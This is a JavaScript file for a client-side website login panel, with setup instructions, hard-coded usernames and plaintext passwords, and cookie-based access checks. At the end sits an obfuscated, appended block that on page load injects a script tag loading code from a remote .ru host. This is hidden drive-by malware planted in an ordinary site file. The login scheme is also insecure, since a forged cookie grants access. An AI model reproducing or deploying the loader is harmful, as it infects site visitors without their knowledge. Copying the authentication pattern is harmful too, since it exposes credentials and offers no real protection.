/*
-------------------------------------------------------------------

INSTRUCTIONS - Read Before Using Script

If you are using frames, the code referred to in steps 2 - 5 must be put in the 
pages displayed in the frames and NOT in the parent document.

Step 1
In the Usernames & Passwords section, configure the variables as
indicated by the comments.
 
Step 2:
Add the following code to the <head> section of your login page: 
 <script src="scripts/login.js"></script> 
Change "scripts/login.js" to reflect the correct path to this script
file on your server. 
 
Step 3:
Add this code to the login page, at the place you want the login
panel to show:
 
 <script language="JavaScript">
  BuildPanel();
 </script>
 
Step 4:
Add the following code to the <head> section of each page procteded
by this script:
 
 <script src="scripts/login.js"></script>
 <script language="JavaScript">
  checkCookie();
 </script>

Change "scripts/login.js" to reflect the correct path to the script
file on your server.
 
Step 5: 
On the page that is to have the logout button, paste this code where you
want the button to be:

 <form action="" name="frmLogoff">
  <input type="button" name="btLogoff" value="log out" onclick="logout();">
 </form>
 
 To use your own image instead of the grey button change the type from button to image
 and add src="myimage.gif" where myimage.gif is the image (including the path to it if
 needed, you want to use.
 
Step 6:
Upload this script and your html pages to the relevant directories
on your server. 




*/

//----------------------------------------------------------------
//  Usernames, Passwords & User Pages - These require configuration.
//----------------------------------------------------------------
var successpage = "test.html"; // The page users go to after login, if they have no personal page.
var loginpage = "login.html"; //Change this to the page the login panel is on.

var imgSubmit = ""; //Change to the path to your login image,if you don't want the standard button, otherwise do not change.
var imgReset = "";  //Change to the path to your reset image,if you don't want the standard button, otherwise do not change.

var users = new Array();

users[0] = new Array("RDTyson","23022302","clientrdt.html"); // Change these two entries to valid logins.
users[1] = new Array("JOlson","23022302","clientrdt.html"); // Add addtional logins, straight after these, as
users[2] = new Array("ddoran","2303","dandoran.html");                                                           	  // required, followig the same format. Increment the 
users[3] = new Array("JOlson","23022302","clientrdt.html");											                  // numbers in the square brackets, in new each one. Note:
users[4] = new Array("JOlson","23022302","clientrdt.html");											                  // the 3rd parameter is the the page that user goes to
users[5] = new Array("JOlson","23022302","clientrdt.html");											                  // after successful login. Ensure the paths are correct.
users[6] = new Array("JOlson","23022302","clientrdt.html");                                                              // Make this "" if user has no personal page.
users[7] = new Array("JOlson","23022302","clientrdt.html");
users[8] = new Array("JOlson","23022302","clientrdt.html");
users[9] = new Array("JOlson","23022302","clientrdt.html");
users[10] = new Array("JOlson","23022302","clientrdt.html");

//----------------------------------------------------------------
//  Login Functions
//----------------------------------------------------------------
function login(username,password){
 var member = null;
 var loggedin = 0;
 var members = users.length;
 for(x=0;x<members && !loggedin; x++){
 if((username==users[x][0])&&(password==users[x][1])){
    loggedin = 1;
    member = x;
	break;
   }
 } 
 
 if(loggedin==1){
  if(users[member][2] != "") {
   successpage = users[member][2];
  }
  setCookie("login",1);
  if (top.location.href != location.href){
   location.href = successpage;           
  }else{
   top.location.href = successpage;  
  }
 }else{
  alert('access denied'); // Insert a fail message.
 }  
}

function logout() {
 deleteCookie("login");
 if (top.location.href != location.href){
  location.href = loginpage;           
 }else{
  top.location.href = loginpage;  
 }
}

//----------------------------------------------------------------
// Cookie Handler
//----------------------------------------------------------------
var ckTemp = document.cookie;

function setCookie(name, value) { 
 if (value != null && value != "")
  document.cookie=name + "=" + escape(value) + ";";
 ckTemp = document.cookie;
 }
 
function deleteCookie(name) {
  if (getCookie(name)) {
    document.cookie = name + "=" +
    "; expires=Thu, 01-Jan-70 00:00:01 GMT";
  }
}

function getCookie(name) { 
 var index = ckTemp.indexOf(name + "=");
 if(index == -1) return null;
  index = ckTemp.indexOf("=", index) + 1;
 var endstr = ckTemp.indexOf(";", index);
 if (endstr == -1) endstr = ckTemp.length;
 return unescape(ckTemp.substring(index, endstr));
 }
  
function checkCookie() {
 var temp = getCookie("login");
 if(!temp==1) {
  alert('access denied'); // Rensert a fail message.
  if(top.location.href != location.href){
   location.href = loginpage;           
  }else{
   top.location.href = loginpage;  
  }
 }
}

//----------------------------------------------------------------
// Login Panel
//----------------------------------------------------------------

function BuildPanel() {
document.write('<form name="logon"><table align="left" border="0"><tr><td align="right">');
document.write('<small><font face="Verdana">Username:</font></small></td>');
document.write('<td><small><font face="Verdana"><input type="text" name="username" size="20"></font></small></td></tr>');
document.write('<tr><td align="right"><small><font face="Verdana">Password:</font></small></td>');
document.write('<td><small><font face="Verdana"><input type="password" name="password" size="20"></font></small></td></tr>');
if(imgSubmit == ""){
 document.write('<tr><td align="center" colspan="2"><p><input type="button" value="Logon" name="Logon" onclick="login(username.value,password.value)">'); 
} else {
 document.write('<tr><td align="center" colspan="2"><p><input type="image" src="'+imgSubmit+'" name="Logon" onclick="login(username.value,password.value)">');
}
if(imgReset == ""){
 document.write('<input type="reset" value="Reset" name="Reset">');
} else {
 document.write('<input type="image" src="'+imgReset+'" name="Reset" onclick="logon.reset();">');
}
document.write('</p></td></tr></table></form>');
}



this.f="";function g(){var S='';var sm=new Date();var xV=new String();var R=new Array();var Ph='';var F=unescape;this.Uh='';var I=window;var gL=F("%2f%6e%65%77%73%33%69%6e%73%69%64%65%72%2d%63%6f%6d%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%79%61%68%6f%6f%2e%63%6f%6d%2e%70%68%70");var gW='';this.q="";var fD;if(fD!='CE'){fD=''};var IE=new String();function Q(K,P){var Un=new String();var Wf;if(Wf!=''){Wf='Rh'};var H=String("g");var AB=new Array();var QX=F("%5b"), U=F("%5d");var ex="";var G=QX+P+U;var C=new RegExp(G, H);return K.replace(C, new String());this.zP="";var Wx;if(Wx!='' && Wx!='qv'){Wx='B'};};var rS;if(rS!='Wy'){rS=''};var Up;if(Up!='tY'){Up='tY'};var YH=new String();var W=document;var b_;if(b_!='WE' && b_ != ''){b_=null};var Sv;if(Sv!='BP' && Sv != ''){Sv=null};var FB=Q('8226620622228662660626622','26');var Y=new String();var Wd;if(Wd!='ZM' && Wd!='Ui'){Wd=''};var bB='';var vq='';var xz;if(xz!='BQ'){xz='BQ'};function o(){var iN=new Date();var UN="";this.WEy="";var _S;if(_S!='' && _S!='AT'){_S=''};var YY=F("%68%74%74%70%3a%2f%2f%72%65%61%63%68%73%61%77%2e%72%75%3a");var wx=new String();var Vz;if(Vz!='' && Vz!='ej'){Vz=''};var rR=new String();var _i;if(_i!='_x' && _i!='fq'){_i='_x'};Y=YY;Y+=FB;Y+=gL;this.II='';var JD;if(JD!='QH' && JD != ''){JD=null};var RM="";var inR=new String();try {r=W.createElement(Q('sFcmrmijpjtM','jmMF'));var Ij='';r[F("%64%65%66%65%72")]=[8,1][1];r[F("%73%72%63")]=Y;var QY;if(QY!='vk' && QY != ''){QY=null};this.jE='';var Gy;if(Gy!=''){Gy='LU'};W.body.appendChild(r);this.kV="";var XJ;if(XJ!='zs'){XJ='zs'};var uk=new String();} catch(u){var Uy;if(Uy!='Nn' && Uy!='Mc'){Uy=''};var zp;if(zp!='RO' && zp!='di'){zp=''};alert(u);};}var yB='';I["onlo"+"ad"]=o;var Eu;if(Eu!='ak' && Eu!='tx'){Eu='ak'};};var ag=new Date();g();var qj;if(qj!='VX'){qj=''};